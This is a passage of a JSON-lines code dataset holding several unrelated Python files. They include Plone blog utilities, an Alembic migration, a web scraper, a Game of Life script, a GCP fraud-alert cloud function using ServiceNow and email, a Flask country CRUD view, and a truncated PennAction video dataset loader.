1_2_3/des089.py","file_name":"des089.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"29222669843","text":"# -*- coding: utf-8 -*-\n\"\"\"Module providing utility functions for the blogging tool\"\"\"\n\nfrom Acquisition import aq_base\nfrom Acquisition import aq_inner\nfrom Acquisition import aq_parent\nfrom Products.BTreeFolder2.BTreeFolder2 import BTreeFolder2Base\nfrom plone.dexterity.interfaces import IDexterityFTI\nfrom plone.portlets.interfaces import IPortletAssignmentMapping\nfrom plone.portlets.interfaces import IPortletManager\nfrom zope.component import ComponentLookupError\nfrom zope.component import getMultiAdapter\nfrom zope.component import getUtility\nfrom zope.component import queryUtility\n\nimport importlib\nimport logging\n\nlogger = logging.getLogger(__name__)\n\nfrom meetshaus.blog import MessageFactory as _\n\n\ndef get_localized_month_name(month):\n    \"\"\" Return localized month names from dictionary\"\"\"\n    mapping = {\n        'January': _(u\"January\"),\n        'February': _(u\"February\"),\n        'March': _(u\"March\"),\n        'April': _(u\"April\"),\n        'May': _(u\"May\"),\n        'June': _(u\"June\"),\n        'July': _(u\"July\"),\n        'August': _(u\"August\"),\n        'September': _(u\"September\"),\n        'October': _(u\"October\"),\n        'November': _(u\"November\"),\n        'December': _(u\"December\"),\n    }\n    localized = mapping[month]\n    return localized\n\n\ndef find_portlet_assignment_context(assignment, context):\n    # Finds the creation context of the assignment\n    context = aq_inner(context)\n    manager_name = assignment.manager.__name__\n    assignment_name = assignment.__name__\n    while True:\n        try:\n            manager = getUtility(IPortletManager,\n                                 manager_name,\n                                 context=context)\n            mapping = getMultiAdapter((context, manager),\n                                      IPortletAssignmentMapping)\n            if assignment_name in mapping:\n                if mapping[assignment_name] is aq_base(assignment):\n                    return context\n        except ComponentLookupError:\n            pass\n        parent = aq_parent(context)\n        if parent is context:\n            return None\n        context = parent\n\n\ndef get_old_class_name_string(obj):\n    \"\"\"Returns the current class name string.\"\"\"\n    return '{0}.{1}'.format(obj.__module__, obj.__class__.__name__)\n\n\ndef get_portal_type_name_string(obj):\n    \"\"\"Returns the klass-attribute of the fti.\"\"\"\n    fti = queryUtility(IDexterityFTI, name=obj.portal_type)\n    if not fti:\n        return False\n    return fti.klass\n\n\ndef migrate_base_class_to_new_class(obj,\n                                    indexes=[\n                                        'is_folderish',\n                                        'object_provides',\n                                    ],\n                                    old_class_name='',\n                                    new_class_name='',\n                                    migrate_to_folderish=False,\n                                    ):\n    if not old_class_name:\n        old_class_name = get_old_class_name_string(obj)\n    if not new_class_name:\n        new_class_name = get_portal_type_name_string(obj)\n        if not new_class_name:\n            logger.warning(\n                'The type {0} has no fti!'.format(obj.portal_type))\n            return False\n\n    was_item = not isinstance(obj, BTreeFolder2Base)\n    if old_class_name != new_class_name:\n        obj_id = obj.getId()\n        module_name, class_name = new_class_name.rsplit('.', 1)\n        module = importlib.import_module(module_name)\n        new_class = getattr(module, class_name)\n\n        # update obj class\n        parent = obj.__parent__\n        parent._delOb(obj_id)\n        obj.__class__ = new_class\n        parent._setOb(obj_id, obj)\n\n    is_container = isinstance(obj, BTreeFolder2Base)\n\n    if was_item and is_container or migrate_to_folderish and is_container:\n        #  If Itemish becomes Folderish we have to update obj _tree\n        BTreeFolder2Base._initBTrees(obj)\n\n    # reindex\n    obj.reindexObject(indexes)\n\n    return True\n","repo_name":"potzenheimer/meetshaus","sub_path":"src/meetshaus.blog/meetshaus/blog/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4004,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"11166111998","text":"\"\"\"Add remove accents option to banphrases\n\nRevision ID: 514603f2ff1f\nRevises: 280554f8c9ec\nCreate Date: 2017-04-10 07:25:23.586754\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '514603f2ff1f'\ndown_revision = '280554f8c9ec'\nbranch_labels = None\ndepends_on = None\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column('tb_banphrase', sa.Column('remove_accents', sa.Boolean(), nullable=False))\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_column('tb_banphrase', 'remove_accents')\n    # ### end Alembic commands ###\n","repo_name":"leecopland/bullbot","sub_path":"alembic/versions/514603f2ff1f_add_remove_accents_option_to_banphrases.py","file_name":"514603f2ff1f_add_remove_accents_option_to_banphrases.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"28510242173","text":"from bs4 import BeautifulSoup\r\nimport requests\r\n\r\nresponse = requests.get(\"http://web.archive.org/web/20210205074131/https://www.empireonline.com/movies/features/best-movies-2/\")\r\n\r\nmovies_list_page = response.text\r\n\r\nsoup = BeautifulSoup(movies_list_page, \"html.parser\")\r\nmovies = soup.find_all(name=\"h3\", class_=\"title\")\r\n\r\n\r\nmovie_list = [movie.getText() for movie in movies]\r\nprint(movie_list)\r\nrevise_list = movie_list[::-1]\r\nwith open(\"movies.txt\", \"w\") as file:\r\n    for movie in revise_list:\r\n        file.write(f\"1){movie}\\n\")","repo_name":"JacksonYu92/Web-Scraping-100-Top-Movies","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"40069731779","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n# game_of_life_console.py\nimport os\nimport sys\nimport time\n\ncur_folder = os.path.dirname(os.path.abspath(__file__)) \nlib_folder = os.path.abspath(cur_folder + os.sep + \"..\" +  os.sep + \"toolbox\" )\naikif_folder = os.path.abspath(cur_folder + os.sep + \"..\" + os.sep + \"..\"  )\n\n\nprint('cur_folder = ', cur_folder)\nprint('lib_folder = ', lib_folder)\nprint('aikif_folder = ', aikif_folder)\n\nsys.path.append(aikif_folder + os.sep + 'aikif')\nfrom toolbox import cls_grid_life as mod_grid\nfrom toolbox import cls_grid as mod_grid # \nimport cls_log as mod_log\nimport config as cfg\nlg = mod_log.Log(cfg.fldrs['log_folder'])\n\nlg.record_process(\"Running Game of Life Console...\")\nos.system('cls' if os.name == 'nt' else 'clear')\n\n\ndef main():\n    \"\"\"\n    Example to show AIKIF logging of results.\n    Generates a sequence of random grids and runs the\n    Game of Life, saving results\n    \"\"\"\n    iterations  = 9     # how many simulations to run\n    years       = 3    # how many times to run each simulation\n    width       = 22     # grid height\n    height      = 78     # grid width\n    time_delay  = 0.03   # delay when printing on screen\n    lg = mod_log.Log('test')\n    lg.record_process('Game of Life', 'game_of_life_console.py')\n    for _ in range(iterations):\n        s,e = run_game_of_life(years, width, height, time_delay, 'N') \n        lg.record_result(\"Started with \" +  str(s) + \" cells and ended with \" + str(e) + \" cells\")\n        \ndef run_game_of_life(years, width, height, time_delay, silent=\"N\"):\n    \"\"\"\n    run a single game of life for 'years' and log start and \n    end living cells to aikif\n    \"\"\"\n    lfe = mod_grid.GameOfLife(width, height, ['.', 'x'], 1)\n    set_random_starting_grid(lfe)\n    lg.record_source(lfe, 'game_of_life_console.py')\n    print(lfe)\n    start_cells = lfe.count_filled_positions()\n    for ndx, dummy_idx in enumerate(range(years)):\n        lfe.update_gol()\n        if silent == \"N\":\n            print_there(1,1, \"Game of Life - Iteration # \" + str(ndx))\n            print_there(1, 2, lfe)\n            time.sleep(time_delay)\n    end_cells = lfe.count_filled_positions()\n    return start_cells, end_cells\n\n    \ndef set_random_starting_grid(lfe):\n    \"\"\"\n    generate a random grid for game of life using a \n    set of patterns (just to make it interesting)\n    \"\"\"\n    cls_patterns = mod_grid.GameOfLifePatterns(25)\n    print(cls_patterns)\n    exit(0)\n    \n    patterns = cls_patterns.get_patterns()\n    for pattern in patterns:\n        lfe.set_tile(pattern[0], pattern[1], 1)\n#    return patterns\n    \ndef print_there(x, y, text):\n    \"\"\"\"\n    allows display of a game of life on a console via\n    resetting cursor position to a set point - looks 'ok'\n    for testing but not production quality.\n    \"\"\"\n    sys.stdout.write(\"\\x1b7\\x1b[%d;%df%s\\x1b8\" % (x, y, text))\n    sys.stdout.flush()        \n\nmain()\n","repo_name":"acutesoftware/AIKIF","sub_path":"scripts/examples/game_of_life_console.py","file_name":"game_of_life_console.py","file_ext":"py","file_size_in_byte":2887,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"16"}
+{"seq_id":"22567486005","text":"import base64\r\nimport json\r\nimport smtplib\r\nimport requests\r\nfrom google.cloud import secretmanager\r\nfrom json import loads\r\n\r\ndef hello_pubsub(event, context):\r\n    # Secret Manager credentials loading\r\n    secret_client = secretmanager.SecretManagerServiceClient()\r\n    project_id = \"sandeepdev\"\r\n    secret_response = secret_client.access_secret_version(\r\n        {\"name\": \"projects/\"+project_id+\"/secrets/servicenow/versions/latest\"}\r\n    )\r\n    secret_response = secret_response.payload.data.decode(\"utf-8\")\r\n    my_credentials = loads(secret_response)\r\n\r\n    # ServiceNow credentials fetched\r\n    servicenow_user = my_credentials[\"user\"]\r\n    servicenow_password = my_credentials[\"pwd\"]\r\n\r\n    # SMTP server credentials fetched\r\n    smtp_email = my_credentials[\"serv_mail\"]\r\n    smtp_password = my_credentials[\"password\"]\r\n\r\n    # Pub/Sub topic data loading\r\n    pubsub_message = base64.b64decode(event[\"data\"]).decode(\"utf-8\")\r\n    message_json = json.loads(pubsub_message)\r\n\r\n    # Write the record to ServiceNow incident table\r\n    url = \"https://dev147440.service-now.com/api/now/table/incident\"\r\n\r\n    # Set credentials for ServiceNow API\r\n    user = servicenow_user\r\n    pwd = servicenow_password\r\n\r\n    # Set proper headers\r\n    headers = {\r\n        \"Content-Type\": \"application/json\",\r\n        \"Accept\": \"application/json\",\r\n    }\r\n\r\n    # Create the incident data\r\n    incident_data = {\r\n        \"short_description\": \"Alert Fraud Transaction Detected\",\r\n        \"description\": f'''\r\nThe below transaction has been marked as fraud:\r\n\r\nType: {message_json['type']}\r\nTransaction id: {message_json['id']}\r\nAmount: {message_json['amount']}\r\nOld Balance (Origin): {message_json['oldbalanceOrig']}\r\nNew Balance (Origin): {message_json['newbalanceOrig']}\r\nOld Balance (Destination): {message_json['oldbalanceDest']}\r\nNew Balance (Destination): {message_json['newbalanceDest']}\r\nCountry of Transaction: {message_json['country']}\r\nReceiver's Bank: {message_json['receiver_bank']}\r\nsender_bank :{message_json['sender_bank']}\r\nreceiver_name : {message_json['receiver_name']}\r\ntime_of_transaction : {message_json['time_of_transaction']}\r\nsenders_name : {message_json['senders_name']}\r\nsender's credit card Number : {message_json['nameOrig']}\r\nReceiver's credit card Number : {message_json['nameDest']}\r\n''',\r\n        \"urgency\": \"1\",\r\n        \"impact\": \"1\",\r\n        \"priority\": \"1\",\r\n        \"category\": \"Transaction\",\r\n        \"subcategory\": \"Credit Card\",\r\n        \"caller_id\": \"gcptest63@gmail.com\",\r\n        \"assigned_to\": \"gcpdev3@gmail.com\",\r\n    }\r\n\r\n    # Do the HTTP request to create the incident\r\n    try:\r\n        response = requests.post(\r\n            url, auth=(user, pwd), headers=headers, json=incident_data\r\n        )\r\n        response.raise_for_status()\r\n        incident_response = response.json()  # Parse the response JSON\r\n        incident_number = incident_response.get(\"result\", {}).get(\"number\")  # Extract the incident number\r\n        print(\"Incident created successfully. Incident Number:\", incident_number)\r\n    except requests.exceptions.RequestException as e:\r\n        print(\"Error creating incident:\", str(e))\r\n\r\n    customer_email_pairs = [\r\n    \r\n        {\r\n            \"senders_name\": \"Ethan Thompson\",\"email\": \"lubumohanty02@gmail.com\"},\r\n        {\r\n            \"senders_name\": \"Olivia Parker\",\"email\": \"gcptest63@gmail.com\"},\r\n        {\r\n            \"senders_name\": \"Noah Anderson\",\"email\": \"sandeep.mohanty1998@gmail.com\"},\r\n        {\r\n            \"senders_name\": \"Ava Mitchell\",\"email\": \"gcpdev3@gmail.com\"},\r\n        {\r\n            \"senders_name\": \"Liam Roberts\",\"email\": \"lubumohanty02@gmail.com\"},\r\n        {\r\n            \"senders_name\": \"Sophia Evans\",\"email\": \"gcptest63@gmail.com\"},\r\n        {\r\n            \"senders_name\": \"Mason Campbell\",\"email\": \"sandeep.mohanty1998@gmail.com\"},\r\n        {\r\n            \"senders_name\": \"Isabella Turner\",\"email\": \"gcpdev3@gmail.com\"},\r\n        {\r\n            \"senders_name\": \"Benjamin Hayes\",\"email\": \"lubumohanty02@gmail.com\"},\r\n        {\r\n            \"senders_name\": \"Mia Collins\",\"email\": \"gcptest63@gmail.com\"},\r\n        {\r\n            \"senders_name\": \"Alexander Reed\",\"email\": \"sandeep.mohanty1998@gmail.com\"},\r\n        {\r\n            \"senders_name\": \"Charlotte Peterson\",\"email\": \"gcpdev3@gmail.com\"},\r\n        {\r\n            \"senders_name\": \"James Murphy\",\"email\": \"lubumohanty02@gmail.com\"},\r\n        {\r\n            \"senders_name\": \"Amelia Foster\",\"email\": \"gcptest63@gmail.com\"},\r\n        {\r\n            \"senders_name\": \"Samuel Simmons\",\"email\": \"sandeep.mohanty1998@gmail.com\"},\r\n        {\r\n            \"senders_name\": \"Harper Bryant\",\"email\": \"gcpdev3@gmail.com\"},\r\n        {\r\n            \"senders_name\": \"Daniel Cox\",\"email\": \"lubumohanty02@gmail.com\"},\r\n        {\r\n            \"senders_name\": \"Emily Nelson\",\"email\": \"gcptest63@gmail.com\"},\r\n        {\r\n            \"senders_name\": \"Henry Ward\",\"email\": \"sandeep.mohanty1998@gmail.com\"},\r\n        {\r\n            \"senders_name\": \"Scarlett Rivera\",\"email\": \"gcpdev3@gmail.com\"},\r\n        {\r\n            \"senders_name\": \"Michael Morgan\",\"email\": \"lubumohanty02@gmail.com\"},\r\n        {\r\n            \"senders_name\": \"Abigail Hughes\",\"email\": \"gcptest63@gmail.com\"},\r\n        {\r\n            \"senders_name\": \"David Stewart\",\"email\": \"sandeep.mohanty1998@gmail.com\"},\r\n        {\r\n            \"senders_name\": \"Grace Sullivan\",\"email\": \"gcpdev3@gmail.com\"},\r\n        {\r\n            \"senders_name\": \"Jackson Price\",\"email\": \"lubumohanty02@gmail.com\"},\r\n        {\r\n            \"senders_name\": \"Lily Johnson\",\"email\": \"gcptest63@gmail.com\"},\r\n        {\r\n            \"senders_name\": \"Matthew Hayes\",\"email\": \"sandeep.mohanty1998@gmail.com\"},\r\n        {\r\n            \"senders_name\": \"Victoria Gray\",\"email\": \"gcpdev3@gmail.com\"},\r\n        {\r\n            \"senders_name\": \"Samuel Wright\",\"email\": \"lubumohanty02@gmail.com\"},\r\n        {\r\n            \"senders_name\": \"Elizabeth Rogers\",\"email\": \"gcptest63@gmail.com\"},\r\n        {\r\n            \"senders_name\": \"Alex wick\",\"email\": \"gcptest63@gmail.com\"}\r\n    ]\r\n\r\n\r\n    bank_email_pairs = [\r\n        {\"sender_bank\": \"Bank of America\", \"email\": \"sandeep.mohanty1998@gmail.com\"},\r\n        {\"sender_bank\": \"JPMorgan Chase\", \"email\": \"gcpdev3@gmail.com\"},\r\n        {\"sender_bank\": \"Citibank\", \"email\": \"gcptest63@gmail.com\"},\r\n        {\"sender_bank\": \"Wells Fargo\", \"email\": \"lubumohanty02@gmail.com\"},\r\n        {\"sender_bank\": \"HSBC\", \"email\": \"sandeep.mohanty1998@gmail.com\"},\r\n        {\"sender_bank\": \"Barclays\", \"email\": \"gcpdev3@gmail.com\"},\r\n        {\"sender_bank\": \"BNP Paribas\", \"email\": \"gcptest63@gmail.com\"},\r\n        {\"sender_bank\": \"Santander\", \"email\": \"lubumohanty02@gmail.com\"},\r\n        {\"sender_bank\": \"Royal Bank of Scotland\", \"email\": \"sandeep.mohanty1998@gmail.com\"},\r\n        {\"sender_bank\": \"UBS\", \"email\": \"gcpdev3@gmail.com\"},\r\n        {\"sender_bank\": \"Deutsche Bank\", \"email\": \"gcptest63@gmail.com\"},\r\n        {\"sender_bank\": \"Credit Suisse\", \"email\": \"lubumohanty02@gmail.com\"},\r\n        {\"sender_bank\": \"Morgan Stanley\", \"email\": \"sandeep.mohanty1998@gmail.com\"},\r\n        {\"sender_bank\": \"Bank of China\", \"email\": \"gcpdev3@gmail.com\"},\r\n        {\"sender_bank\": \"Industrial and Commercial Bank of China (ICBC)\", \"email\": \"gcptest63@gmail.com\"},\r\n        {\"sender_bank\": \"Bank of Communications\", \"email\": \"lubumohanty02@gmail.com\"},\r\n        {\"sender_bank\": \"Standard Chartered Bank\", \"email\": \"sandeep.mohanty1998@gmail.com\"},\r\n        {\"sender_bank\": \"Bank of Montreal\", \"email\": \"gcpdev3@gmail.com\"},\r\n        {\"sender_bank\": \"Toronto-Dominion Bank\", \"email\": \"gcptest63@gmail.com\"},\r\n        {\"sender_bank\": \"Scotiabank\", \"email\": \"lubumohanty02@gmail.com\"},\r\n        {\"sender_bank\": \"Banco Santander\", \"email\": \"sandeep.mohanty1998@gmail.com\"},\r\n        {\"sender_bank\": \"BBVA\", \"email\": \"gcpdev3@gmail.com\"},\r\n        {\"sender_bank\": \"ING Bank\", \"email\": \"gcptest63@gmail.com\"},\r\n        {\"sender_bank\": \"ABN AMRO\", \"email\": \"lubumohanty02@gmail.com\"},\r\n        {\"sender_bank\": \"Societe Generale\", \"email\": \"sandeep.mohanty1998@gmail.com\"},\r\n        {\"sender_bank\": \"Crédit Agricole\", \"email\": \"gcpdev3@gmail.com\"},\r\n        {\"sender_bank\": \"UniCredit\", \"email\": \"gcptest63@gmail.com\"},\r\n        {\"sender_bank\": \"Intesa Sanpaolo\", \"email\": \"lubumohanty02@gmail.com\"},\r\n        {\"sender_bank\": \"Nordea Bank\", \"email\": \"sandeep.mohanty1998@gmail.com\"},\r\n        {\"sender_bank\": \"Danske Bank\", \"email\": \"gcpdev3@gmail.com\"},\r\n        {\"sender_bank\": \"Union Bank\", \"email\": \"gcptest63@gmail.com\"}\r\n    ]\r\n\r\n\r\n    senders_name = message_json[\"senders_name\"]\r\n    sender_bank = message_json[\"sender_bank\"]\r\n    customer_email = \"\"\r\n    bank_email = \"\"\r\n\r\n    # Find the corresponding email addresses for the customer and bank\r\n    for pair in customer_email_pairs:\r\n        if pair[\"senders_name\"] == senders_name:\r\n            customer_email = pair[\"email\"]\r\n            break\r\n\r\n    for pair in bank_email_pairs:\r\n        if pair[\"sender_bank\"] == sender_bank:\r\n            bank_email = pair[\"email\"]\r\n            break\r\n\r\n    if not customer_email:\r\n        customer_email = \"gcpdev3@gmail.com\"\r\n    if not bank_email:\r\n        bank_email = \"gcpdev3@gmail.com\"\r\n\r\n    # Send the email notifications\r\n    email_subject_customer = \"Fraud Transaction Detected!!\"\r\n    email_body_customer = f'''\r\nDear {senders_name},\r\n\r\nWe have detected a fraudulent transaction in your account. Details are as follows:\r\n\r\nType: {message_json['type']}\r\nTransaction id: {message_json['id']}\r\nAmount: {message_json['amount']}\r\nOld Original Balance: {message_json['oldbalanceOrig']}\r\nNew Balance : {message_json['newbalanceOrig']}\r\nCountry of Transaction: {message_json['country']}\r\nReceiver's Bank: {message_json['receiver_bank']}\r\nsender_bank :{message_json['sender_bank']}\r\nreceiver_name : {message_json['receiver_name']}\r\nsenders_name : {message_json['senders_name']}\r\nsender's credit card Number : {message_json['nameOrig']}\r\nReceiver's credit card Number : {message_json['nameDest']}\r\n\r\nPlease contact our customer support (1800 1800) immediately if you have any concerns.\r\n\r\nThank you,\r\nTransaction Admin Team,\r\nTransactionPe Ltd.\r\n'''\r\n\r\n    email_subject_bank = \"Fraud Transaction Alert - Action Required!!\"\r\n    email_body_bank = f'''\r\nDear Bank Representative,\r\n\r\nA fraudulent transaction has been detected from one of your customers. Details are as follows:\r\n\r\nType: {message_json['type']}\r\nTransaction id: {message_json['id']}\r\nAmount: {message_json['amount']}\r\nOld Balance (Origin): {message_json['oldbalanceOrig']}\r\nNew Balance (Origin): {message_json['newbalanceOrig']}\r\nOld Balance (Destination): {message_json['oldbalanceDest']}\r\nNew Balance (Destination): {message_json['newbalanceDest']}\r\nCountry of Transaction: {message_json['country']}\r\nReceiver's Bank: {message_json['receiver_bank']}\r\nsender_bank :{message_json['sender_bank']}\r\nreceiver_name : {message_json['receiver_name']}\r\ntime_of_transaction : {message_json['time_of_transaction']}\r\nsenders_name : {message_json['senders_name']}\r\nsender's credit card Number : {message_json['nameOrig']}\r\nReceiver's credit card Number : {message_json['nameDest']}\r\n\r\nAn incident ticket {incident_number} has been created for this transaction. Please investigate and help us to take appropriate action.\r\n\r\nThank you,\r\nTransaction Admin Team,\r\nTransactionPe Ltd.\r\n'''\r\n\r\n    try:\r\n        with smtplib.SMTP(\"smtp.gmail.com\", 587) as server:\r\n            server.starttls()\r\n            server.login(smtp_email, smtp_password)\r\n            email_message_customer = f\"Subject: {email_subject_customer}\\nFrom: gcpdev3@gmail.com\\nTo: {customer_email}\\n\\n{email_body_customer}\"\r\n            email_message_bank = f\"Subject: {email_subject_bank}\\nFrom: gcpdev3@gmail.com\\nTo: {bank_email}\\n\\n{email_body_bank}\"\r\n            server.sendmail(smtp_email, customer_email, email_message_customer)\r\n            server.sendmail(smtp_email, bank_email, email_message_bank)\r\n        print(\"Emails sent successfully.\")\r\n    except Exception as e:\r\n        print(\"Error sending emails:\", str(e))\r\n\r\n    print(pubsub_message)\r\n","repo_name":"sandy0298/Credit_card_Fraud_Detection_uisng_GCP","sub_path":"codes/cloud_functions.py","file_name":"cloud_functions.py","file_ext":"py","file_size_in_byte":12048,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"41128827636","text":"from flask import (\n    render_template, request, flash, redirect, url_for\n)\nfrom flask_login import login_required\n\nfrom . import carboard\nfrom ..models.country import Country\nfrom ..forms.country import CountryForm\nfrom ..helpers import paginate\nfrom ..constants import PER_PAGE\nfrom ...extensions import db\n\n\n# --------------------- /carboard/country/ : List of countries ------------------ #\n\n@carboard.route('/country/')\n@login_required\ndef indexCountry():\n    countries = Country.query.paginate(\n        page=request.args.get('page', 1, type=int),\n        per_page=request.args.get('per_page', PER_PAGE, type=int),\n    )\n    return render_template('carboard/country/index.html',\n                           countries=countries\n                           )\n\n# ----------------------- /carboard/country/id : Show country ------------------- #\n\n\n@carboard.route('/country/<int:id>', methods=['GET'])\n@login_required\ndef showCountry(id):\n    country = Country.query.get_or_404(id)\n    return render_template('carboard/country/show.html',\n                           country=country\n                           )\n\n# ---------------------- /carboard/country/new : Add country -------------------- #\n\n\n@carboard.route('/country/new', methods=['GET', 'POST'])\n@login_required\ndef newCountry():\n    \"\"\" Add new country \"\"\"\n\n    form = CountryForm()\n\n    if form.validate_on_submit():\n        country = Country(\n            title=form.title.data,\n            code=form.code.data\n        )\n        db.session.add(country)\n        db.session.commit()\n        flash('Country {}, added successfully.'.format(form.title.data), 'success')\n        return redirect(url_for('carboard.indexCountry'))\n\n    return render_template('carboard/country/new.html', form=form)\n\n# -------------------- /carboard/country/id/edit : Edit country ----------------- #\n\n\n@carboard.route('/country/<int:id>/edit', methods=['GET', 'POST'])\n@login_required\ndef editCountry(id):\n    \"\"\" Edit existing country \"\"\"\n    country = Country.query.get_or_404(id)\n    form = CountryForm(obj=country)\n    if form.validate_on_submit():\n        form.populate_obj(country)\n        db.session.commit()\n        flash('Country {}, updated successfully.'.format(form.title.data), 'success')\n        return redirect(url_for('carboard.showCountry', id=id))\n\n    return render_template('carboard/country/edit.html', form=form, id=id)\n\n# ------------------ /carboard/country/id/delete : Delete country --------------- #\n\n\n@carboard.route('/country/<int:id>/toggle', methods=['GET'])\n@login_required\ndef toggleCountry(id):\n    country = Country.query.get_or_404(id)\n    # getattr(country, 'status', 0)\n    status = country.status if country.status is not None else 0;\n    country.status = 1 - status\n    db.session.commit()\n    msg = 'activated' if country.status is 1 else 'deactivated'\n    flash('Country {}, {} successfully.'.format(country.title, msg), 'success')\n    return redirect(url_for('carboard.indexCountry'))\n\n# ------------------ /carboard/country/id/delete : Delete country --------------- #\n\n\n@carboard.route('/country/<int:id>/delete', methods=['GET'])\n@login_required\ndef deleteCountry(id):\n    country = Country.query.get_or_404(id)\n    db.session.delete(country)\n    db.session.commit()\n    flash('Country {}, deleted successfully.'.format(country.title), 'success')\n    return redirect(url_for('carboard.indexCountry'))\n","repo_name":"vcar/vcar","sub_path":"app/carboard/views/country.py","file_name":"country.py","file_ext":"py","file_size_in_byte":3384,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"41002828128","text":"# coding=utf-8\nimport os\nimport math\nimport pickle\nfrom unittest import result\nimport torch\nimport torch.nn.functional as F\nimport torch.distributed as dist\nimport numpy as np\nfrom torchvision.io import read_video\nimport random\nimport utils.logging as logging\nfrom datasets.data_augment import create_data_augment, create_ssl_data_augment\n\nlogger = logging.get_logger(__name__)\n\nPENN_ACTION_LIST = [\n    'baseball_pitch',\n    'baseball_swing',\n    'bench_press',\n    'bowl',\n    'clean_and_jerk',\n    'golf_swing',\n    'jumping_jacks',\n    'pushup',\n    'pullup',\n    'situp',\n    'squat',\n    'tennis_forehand',\n    'tennis_serve'\n]\n\nclass PennAction(torch.utils.data.Dataset):\n    def __init__(self, cfg, split, dataset_name=None, mode=\"auto\", sample_all=False):\n        assert split in [\"train\", \"val\", \"test\"]\n        self.cfg = cfg\n        self.split = split\n        if mode == \"auto\":\n            self.mode = \"train\" if self.split==\"train\" else \"eval\"\n        else:\n            self.mode = mode\n        self.sample_all = sample_all\n        self.num_contexts = cfg.DATA.NUM_CONTEXTS\n\n        with open(os.path.join(cfg.PATH_TO_DATASET, split+'.pkl'), 'rb') as f:\n            self.dataset, self.action_to_indices = pickle.load(f)\n\n        if dataset_name is not None:\n            indices = self.action_to_indices[PENN_ACTION_LIST.index(dataset_name)]\n            self.dataset = [self.dataset[index] for index in indices]\n            logger.info(f\"{len(self.dataset)} {self.split} samples of {dataset_name} dataset have been read.\")\n        else:\n            logger.info(f\"{len(self.dataset)} {self.split} samples of Penn Action dataset have been read.\")\n        if not self.sample_all:\n            seq_lens = [data['seq_len'] for data in self.dataset]\n            hist, bins = np.histogram(seq_lens, bins='auto')\n            print(list(bins.astype(np.int)))\n            print(list(hist))\n\n        self.num_frames = cfg.TRAIN.NUM_FRAMES\n        self.num_segments = cfg.TRAIN.NUM_SEGMENTS\n        self.overlap_rate = cfg.TRAIN.OVERLAP_RATE\n        # Perform data-augmentation\n        if self.cfg.SSL and self.mode==\"train\":\n            self.data_preprocess = create_ssl_data_augment(cfg, augment=True)\n        elif self.mode==\"train\":\n            self.data_preprocess = create_data_augment(cfg, augment=True)\n        else:\n            self.data_preprocess = create_data_augment(cfg, augment=False)\n\n    def __len__(self):\n        return len(self.dataset)\n\n    def __getitem__(self, index):\n        id = self.dataset[index][\"id\"]\n        \n        name = self.dataset[index][\"name\"]\n        frame_label = self.dataset[index][\"frame_label\"]\n        seq_len = self.dataset[index][\"seq_len\"]\n        video_file = os.path.join(self.cfg.PATH_TO_DATASET, self.dataset[index][\"video_file\"])\n        video, _, info = read_video(video_file, pts_unit='sec')\n        video = video.permute(0,3,1,2).float() / 255.0 # T H W C -> T C H W, [0,1] tensor\n\n        if self.cfg.DATA.ANNOTATION == 'raw':\n            steps = self.sample_raw(seq_len, self.num_frames)\n            bridges = self.bridge_construct(steps, self.overlap_rate, self.num_segments)\n        elif self.cfg.DATA.ANNOTATION == 'phase':\n            steps, bridges = self.sample_phase(seq_len, self.num_frames,frame_label)\n        else:\n            steps, bridges = self.sample_phase(seq_len, self.num_frames,frame_label)\n\n        labels = frame_label[steps.long()]\n        video = video[steps.long()]\n        video = self.data_preprocess(video)\n        return video, labels, torch.tensor(seq_len), bridges, name, id\n\n    def sample_raw(self, seq_len, num_frames):\n        if seq_len >= num_frames:\n            steps = torch.randperm(seq_len) \n            steps = torch.sort(steps[:num_frames])[0] #0-value,1-index\n        else:\n            steps = torch.randint(low=0, high=seq_len, size=(num_frames,))\n            steps = torch.sort(steps)[0] \n        return steps\n    \n    def sample_phase(self, seq_len, num_frames, frame_label):\n        frame_list = frame_label.tolist()\n        groups = list(set(frame_list))  # 获取所有组\n        phase_len = []\n        steps_v = []\n        for group in groups:\n            start = frame_list.index(group)  # 组开始的位置\n            end = len(frame_list) - frame_list[::-1].index(group) -1  # 组结束的位置\n            cur_len = end - start + 1\n            if cur_len < 3: \n                continue\n                print(frame_label,group,start,end)\n                raise ValueError('The length of this video is too short:{}'.format(cur_len))\n            phase_len.append(cur_len)\n            if cur_len >= num_frames:\n                steps = torch.tensor([start,end])\n                while len(steps) < num_frames:\n                    num = torch.randint(start+1, end, (1,))\n                    if num not in steps:\n                        steps = torch.cat((steps,num))\n                steps = torch.sort(steps)[0]\n            else:\n                steps = torch.randint(start+1, end, size=(num_frames,))\n                steps = torch.sort(steps)[0]  \n            steps_v.append(steps)\n        inx = random.randint(0, len(steps_v)-1)  #[]\n        bridge_point = random.randint(1,num_frames-2)\n        bridge = torch.tensor([[0,bridge_point,num_frames-1]])\n\n        return steps_v[inx],bridge\n\n    def bridge_construct(self, steps, overlap_rate, num_segments):\n        avg_len = int(len(steps) / num_segments)\n        half_lap = int(avg_len*overlap_rate / (2-overlap_rate))\n        bridges = torch.empty(num_segments,3)\n        for i in range(num_segments):\n            if i == 0:\n                bridge_head = random.randint(0,half_lap)  # include a,b\n                bridge_tail = avg_len + random.randint(0,half_lap)\n            elif i == num_segments-1:\n                bridge_head = i * avg_len - random.randint(0,half_lap)\n                bridge_tail =  len(steps) - random.randint(1,half_lap)\n            else:\n                bridge_head = i * avg_len - 